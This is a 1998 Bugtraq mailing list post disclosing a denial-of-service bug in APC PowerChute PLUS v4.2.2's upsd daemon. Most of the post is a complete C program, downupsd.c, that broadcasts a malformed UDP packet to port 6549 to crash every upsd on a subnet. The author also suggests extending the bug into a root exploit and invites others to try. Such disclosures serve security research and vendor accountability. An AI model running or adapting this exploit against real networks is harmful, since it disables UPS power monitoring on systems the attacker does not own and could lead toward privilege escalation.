Bugtraq mailing list archives

APC UPS PowerChute PLUS exploit...


From: jesus () BLAZE CS JHU EDU (Theo Schlossnagle)
Date: Fri, 10 Apr 1998 23:13:02 -0400


I run Solaris x86 (2.5, 2.5.1, 2.6).  I have a APC Smart UPS 700 (Model
shouldn't matter for the exploit).  Exploit in PowerChute PLUS v4.2.2

The PowerChute PLUS software distributed with the UPSs provides a TCP/IP
(UDP/IP) way to communicate with (for monitoring) UPS on the local subnet.
It listens on port 6549 and listens for broadcast requests (UDP).
So if you make as if you are actually requesting information, but send it
the wrong packet... Well end of ./_upsd (the name of the daemon).
I assume an exploit could be tailored to leverage root privileges.
The REALLY BAD news is that ALL upsd's on the subnet are effected (UDP
broadcast)

I would wager that this is not only a problem on Solaris x86.  If anyone
finds this to work on other platforms I would love to know, also if
someone tailors it to gain root or other interesting things, I would love
to here about it.

I spoke with APC (www.apcc.com) and they blew me off.  Forwarded the issue
to their techinical crew, but I never heard word again.

Here goes:

----- begin downupsd.c -----
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char **argv) {
int s;
long on=1;
size_t addrsize;
char buffer[256];
struct sockaddr_in toaddr, fromaddr;
struct hostent h_ent;

if(argc!=2) {
  fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
  exit(0);
}
s = socket(AF_INET,SOCK_DGRAM,0);
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));

printf("Crashing upsd on host's subnet: %s\n", argv[1]);

toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(0);
toaddr.sin_addr.s_addr = 0x00000000;
bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
toaddr.sin_port = htons(6549);
memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
toaddr.sin_addr.s_addr |= 0xff000000;
strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
       sizeof(struct sockaddr_in));

printf("Crashed...\n");
close(s);

}
------- end downupsd.c -----


Theo Schlossnagle
jesus () cs jhu edu
That jesus guy



Current thread: